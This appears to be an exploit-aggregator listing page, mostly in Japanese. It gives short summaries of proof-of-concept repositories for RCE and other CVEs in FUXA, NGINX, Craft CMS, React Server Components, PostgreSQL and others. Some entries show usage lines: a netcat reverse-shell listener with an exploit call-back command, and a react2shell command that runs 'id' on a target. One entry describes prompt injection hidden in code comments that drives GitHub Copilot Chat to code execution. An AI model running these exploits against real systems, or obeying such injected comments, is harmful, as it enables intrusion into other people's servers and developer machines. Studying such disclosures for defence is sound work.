CVE-2025-69985

CVE-2025-69985: FUXA ≤1.2.8 における認証バイパスからRCEへのエクスプロイト 📌 概要 このリポジトリには、FUXA （バージョン ≤1.2.8）に影響する脆弱性 CVE-2025-69985 に関する概念実証（PoC）と詳細な技術文書が含まれています。この脆弱性により、攻撃者は 認証されていない状態で、アプリケーションのミドルウェアにおける認証バイパス を介してサーバー上で任意のコマンドを実行 （RCE）できます。 従来のWindowsのメモリオーバーフローなどの脆弱性とは異なり、この欠陥はミドルウェアの論理的な弱点...

CVE-2026-42945

CVE-2026-42945: NGINX Rift ヒープバッファオーバーフロー脆弱性 概要 CVE-2026-42945 は、NGINX サーバーにおける深刻なヒープバッファオーバーフローの脆弱性であり、「NGINX Rift」と呼ばれています。この脆弱性は NGINX の rewrite および set ディレクティブの処理ロジックに存在し、特定の設定条件が満たされた場合、攻撃者は悪意のあるリクエストを構築してヒープオーバーフローを引き起こし、サービス拒否（DoS）や潜在的なリモートコード実行（RCE）を引き起こす可能性があります。 脆弱性の種類 : ヒープバッファオーバーフロー...

CVE-2025-5548

🛡️ 分析とエクスプロイト: CVE-2025-5548 サイバーセキュリティ修士課程 | モジュール 6: 脆弱性 👋 こんにちは！私の分析ワークショップへようこそ このリポジトリでは、バイナリレベルの脆弱性分析と、Windows 環境向け エクスプロイト の開発への実践的な取り組みを文書化しています。 このラボの主な目的は、メモリ破損バグ（スタックバッファオーバーフロー ）の最初の発見から、CVE-2025-5548 を悪用したリモートコード実行（RCE ）の達成に至るまでの技術的メソドロジーを習得することです。...

MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744

Kali Linux上 - ターミナル1 nc -lvnp 4444 Kali Linux上 - ターミナル2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...

CVE-2026-39292

Title: CVE-2026-39292 – Falco Solutions PHPPageBuilder v0.31.0におけるRCEに繋がる任意ファイルアップロード Summary: pagemanager/pagebuilderモジュールのファイルアップロードの脆弱性により、認証済みまたは未認証の攻撃者が任意のファイルをアップロードし、リモートコード実行（RCE）を引き起こす可能性があります。 Affected Version: PHPPageBuilder v0.31.0 Impact: リモートコード実行（RCE） Vendor: Falco Solutions Credit...

Attackers Exploit WordPress CVE-2026-87902 Within Hours of Disclosure

Threat actors have begun to actively exploit a critical security flaw in WordPress within hours of public disclosure. The vulnerability in question is CVE-2026-87902 CVSS score: 9.2, which could allow an unauthenticated attacker to obtain remote code execution RCE. "An unauthenticated attacker ca...

POC-CVE-2025-1094

POC CVE-2025-1094: PostgreSQL psql SQL インジェクション Proof of Concept — PostgreSQL クライアント libpq と psql ツールにおける深刻な SQL インジェクション脆弱性 📋 目次 1. 脆弱性の紹介 2. プロジェクトのディレクトリ構造 3. 攻撃ペイロードの分析 4. 使用方法 5. 修正方法と予防策 1. 脆弱性の紹介 概要 CVE-2025-1094 は、PostgreSQL のクライアントライブラリ libpq とコマンドラインツール psql に存在する深刻な脆弱性です。この脆弱性により、攻撃者は...

CVE-2025-59059-Misattributed-RCE-in-Apache-Ranger-Static-Analysis-Correction

CVE-2025-59059: Apache Ranger における誤った帰属の RCE — 訂正 CVE: CVE-2025-59059 影響を受けるバージョン: Apache Ranger "NashornScriptEngineCreator のリモートコード実行の脆弱性が Apache Ranger バージョン = 2.7.0 で報告されています。" これは誤りであり、少なくとも誤解を招く。NashornScriptEngineCreator は脆弱性のあるクラスではない。どちらかと言えば、コードベース内の Nashorn 関連コンポーネントのうち、より堅牢化されている方だ —...

CVE-2025-32432

🔐 CVE-2025-32432 — Craft CMS 事前認証RCE Craft CMS における事前認証リモートコード実行 発見・開発者:Mohammed Idrees Banyamer 📌 概要 CVE-2025-32432 は、Craft CMS の複数バージョンに影響する重大な事前認証リモートコード実行（RCE）脆弱性です。無害化されていないセッションデータの保存と安全でないデシリアライゼーションガジェットを連鎖させることで、認証されていない攻撃者がリモートサーバー上で任意のコマンドを実行できます。 🎯 影響を受けるバージョン...

PoC-CVE-2025-62222

PoC: CVE-2025-62222 - GitHub Copilot Chat RCE 이 저장소는 취약점 CVE-2025-62222 에 대한 개념 증명PoC을 포함합니다. VS Code의 GitHub Copilot Chat 컨텍스트를 댓글에 숨겨진 프롬프트 인젝션으로 조작하여 개발자 머신에서 원격 코드 실행RCE이 가능함을 보여줍니다. ⚠️ 면책 조항 ⚠️ 교육 목적으로만 사용하세요. 이 코드는 교육 및 윤리적 연구 목적으로만 제공됩니다. 저자는 이 정보의 오용에 대해 책임을 지지 않습니다. 명시적 허가 없이 시스템에서 이를 사용하지...

CVE-2026-14780 PaperCut NG/MF: Remote Code Execution via Scripting Subsystem

A vulnerability exists in the PaperCut NG/MF platform's device-scripting functionality due to insufficient sanitization and access restrictions within the embedded execution engine. An authenticated user with administrative access to the management interface can supply a malicious script that...

CVE-2026-14780

The PaperCut NG/MF platform contains a vulnerability in its device-scripting functionality caused by insufficient sanitization and access restrictions within the embedded execution engine . An authenticated user with administrative access to the management interface can provide a malicious script...

Blackash-CVE-2025-33073

✨ CVE-2025-33073: Windows SMB RCE 脆弱性 🚨 🔥 高重大度の認証済みリモートコード実行 🔥 Windows SMB クライアントにおける不適切なアクセス制御 CWE-284 🛡️ 主な詳細概要...

CVE-2016-16113-POC

Get RCE - Bludit CMS エクスプロイト root@kitploit: | | / / \ / | | \ \ / / ' | | | | ' | | | | | \ V /| | | | || | | | | | | | ,|/ / || ||/|| || ||| CVE-2019-17240 （認証バイパス）とCVE-2019-16113 （任意ファイルアップロード）を組み合わせ、脆弱性のあるBludit CMSインストールに対してリモートコード実行を達成する自動化エクスプロイトツール。 ⚠️ 法的免責事項 認可されたセキュリティテストのみを対象としています...

cve-2011-2553

注意: このリポジトリには、管理されたラボ環境でのテスト用の教材が含まれています。ファイルやここで説明されている技術を、あなたの所有物ではない、または明示的な許可がないシステムに対して使用しないでください。目的は学習とセキュリティの強化です。 CVE-2011-2553 FTP サービスエクスプロイト CVE-2011-2553 脆弱性に対する Bash エクスプロイト。FTP サービスにおけるリモートコード実行と権限昇格を可能にします。 🚨 特徴 完全自動化 : 単一コマンドでのエクスプロイト クロスプラットフォーム対応 : Bash が動作する任意のシステムで使用可能...

CVE-2025-55182-react2shell

react2shell CVE-2025-55182 ツールキット。RSC ペイロードインジェクションによる Next.js の未認証 RCE のスキャナ + エクスプロイト。 Node.js エクスプロイト: 依存関係ゼロ。 Bash スキャナ: 単一 URL または一括リストをチェックします。 エクスプロイト root@kitploit: Single command with output ./react2shell.mjs -t http://target:3000 -c "id" Interactive pseudo-shell ./react2shell.mjs -t...

CVE-2025-55182

CVE-2025-55182 スキャナー＆エクスプロイトラボ このリポジトリには、React Server Components RSC の重大なリモートコード実行 RCE 脆弱性である CVE-2025-55182 のための包括的なスキャナーおよびエクスプロイトツールが含まれています。また、この脆弱性を安全にテストおよび理解するための現実的な「ラボ環境」も含まれています。 ⚠️ 免責事項 このツールは教育目的および許可されたテスト目的にのみ使用されます。 所有していない、または明示的なテスト許可がないシステムでこのツールを使用しないでください。著者は誤用に対して一切の責任を負いません。...

React2ShellPoC

CVE-2025-55182 React2Shell の理解: React Server Componentsを介したリモートコード実行の詳細な解説 概要 CVE-2025-55182（React2Shell としても知られる）は、React Server Components に影響を与える重大なリモートコード実行（RCE）脆弱性です。この欠陥により、認証されていない攻撃者が、Reactの Flightプロトコルにおける安全でないデシリアライゼーション 問題を悪用して、脆弱なサーバー上で任意のコードを実行できます。 CVSSスコア10.0...

CVE-2025-55182-Dockerized

CVE-2025-55182 - Docker化された概念実証 このリポジトリには、Server Actions を使用する Next.js アプリケーションに影響を与える、React Server Components RSC における重大なリモートコード実行の脆弱性である CVE-2025-55182 の Docker化された概念実証が含まれています。 Credits 元の概念実証と脆弱性の分析は msanft によって作成されました。このリポジトリは、テストとデモを容易にするための Docker化されたテスト環境を提供することで、その作業を拡張しています。 Quick Start...

Exploitation-of-a-Remote-Code-Execution-vulnerability--CVE-2024-7954-

リモートコード実行脆弱性（CVE-2024-7954）の悪用 ソフトウェア脆弱性テストプロジェクト 提出者: Shivansh Kuntal 概要 このプロジェクトは、SPIP CMS の porteplume プラグインに影響を与える重大なリモートコード実行（RCE）脆弱性である CVE-2024-7954 の悪用を実証するものです。 この脆弱性により、認証されていない攻撃者 が細工したHTTP POSTリクエストを介して、対象サーバー上で任意のPHPコードを実行することができます。 テストは管理されたローカル環境...